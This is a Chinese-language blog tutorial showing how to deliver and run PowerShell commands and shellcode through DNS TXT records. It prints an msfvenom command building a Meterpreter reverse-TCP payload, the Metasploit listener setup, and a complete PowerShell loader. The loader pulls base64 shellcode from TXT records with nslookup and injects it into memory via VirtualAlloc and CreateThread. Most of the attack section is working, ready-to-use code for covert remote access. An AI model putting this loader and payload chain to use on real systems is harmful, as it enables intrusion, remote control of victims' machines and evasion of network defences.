通过DNS TXT记录执行powershell

2019-09-30 10:15:23王振洲

此处比较重要的参数为 startdomain ,他会与我们输入的cmdstring以及psstring进行比较,如果与cmdstring值相等,则执行 commanddomain 即命令,与psstring相等则执行 psdomain 即脚本。

上面为执行命令,所以cmdstring值我们输入为start,与start.evi1cg.me的txt记录值相等,psstring随便输入,不留空就行。执行结果如下图:

我们可以通过修改command.domain的TXT值来执行不同的命令。比如Get-Host:

2.执行脚本

PS F:/DNS> . ./DNS_TXT_Pwnage.ps1
 PS F:/DNS> DNS_TXT_Pwnage -startdomain start.evi1cg.me -cmdstring bulabula -commanddomain command.evi1cg.me -psstring start -psdomain ps.evi1
 cg.me -Arguments Get-User -Subdomains 2 -StopString stop

这里要注意,psstring的值为start,与start.domain的TXT记录相同,cmdstring为任意字符串。效果如下图:

这里多一个参数 Arguments ,要写明要执行的函数名,测试发现,在脚本中含有中文时会失败。对于需要带参数的脚本可以修改脚本指定参数值。

0x03 执行Shellcode

可以通过TXT记录执行shellcode,首先,我们使用msf生成一个powershell的shellcode:

?  ~  sudo msfvenom -p windows/meterpreter/reverse_tcp -f powershell LHOST=x.x.x.x LPORT=8887 > pspayload.txt

使用Out-DnsTxt对生成的文件进行转换:

PS F:/DNS> Out-DnsTxt -DataToEncode ./pspayload.txt
 You need to create 3 TXT records.
 All TXT Records written to F:/DNS/encodedtxt.txt

然后将以上记录分别添加到TXT记录中,如下图:

测试使用的32位win7系统,使用msf开启监听:

msf > use exploit/multi/handler
 msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
 payload => windows/meterpreter/reverse_tcp
 msf exploit(handler) > set LPORT 8887
 LPORT => 8887
 msf exploit(handler) > set LHOST x.x.x.x
 LHOST => x.x.x.x
 msf exploit(handler) > exploit
 
 [*] Started reverse handler on x.x.x.x:8887
 [*] Starting the payload handler...

我们还需要一个获取TXT记录并执行的脚本,这里我改了一个脚本:

function Execute-Code
 {
 <#
 .PARAMETER Shelldomain
 The domain (or subdomain) whose subbdomain's TXT records would hold shellcode.
 .PARAMETER subdomains
 The number of subdomains which would be used to provide shellcode from their TXT records.
 .PARAMETER AUTHNS
 Authoritative Name Server for the domains.
 .EXAMPLE
 PS > Execute-Code
 The payload will ask for all required options.
 .EXAMPLE
 PS > Execute-Code -Shelldomain 32.alteredsecurity.com -SubDomains 5 -AUTHNS f1g1ns2.dnspod.net.
 Use above from non-interactive shell.
 #>
  [CmdletBinding()] Param(
     [Parameter(Position = 0, Mandatory = $True)]
     [String]
     $Shelldomain,
     [Parameter(Position = 1, Mandatory = $True)]
     [String]
     $Subdomains,   
     [Parameter(Position = 2, Mandatory = $True)]
     [String]
     $AUTHNS
   )
  function Get-ShellCode
   {
   Param(
       [Parameter()]
       [String]
       $Shelldomain
     )
     $i = 1
     while ($i -le $subdomains)
     {
       $getcommand = (Invoke-Expression "nslookup -querytype=txt $i.$Shelldomain $AUTHNS") 
       $temp = $getcommand | select-string -pattern "`""
       $tmp1 = ""
       $tmp1 = $tmp1 + $temp
       $encdata = $encdata + $tmp1 -replace '/s+', "" -replace "`"", ""
       $i++
     }
    #$encdata = ""
     $dec = [System.Convert]::FromBase64String($encdata)
     $ms = New-Object System.IO.MemoryStream
     $ms.Write($dec, 0, $dec.Length)
     $ms.Seek(0,0) | Out-Null
     $cs = New-Object System.IO.Compression.DeflateStream ($ms, [System.IO.Compression.CompressionMode]::Decompress)
     $sr = New-Object System.IO.StreamReader($cs)
     $sc = $sr.readtoend()
   return $sc
   }
   $Shell = (Get-ShellCode $Shelldomain)
   #Remove unrequired things from msf shellcode
   $tmp = $Shell -replace "`n","" -replace '/$buf /+/= ',"," -replace '/[Byte/[/]/] /$buf /=' -replace " "
   [Byte[]]$sc = $tmp -split ','
   #Code Execution logic
  $code = @"
  [DllImport("kernel32.dll")]
  public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
  [DllImport("kernel32.dll")]
  public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
  [DllImport("msvcrt.dll")]
  public static extern IntPtr memset(IntPtr dest, uint src, uint count);
 "@
   $winFunc = Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru
  $size = 0x1000 
   if ($sc.Length -gt 0x1000) {$size = $sc.Length} 
   $x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40) 
   for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt64()+$i), $sc[$i], 1)}
  Try {
     $winFunc::CreateThread(0,0,$x,0,0,0)
     sleep 100000
   }
  Catch
  {
  [system.exception]
  "caught a system exception"
  }
 }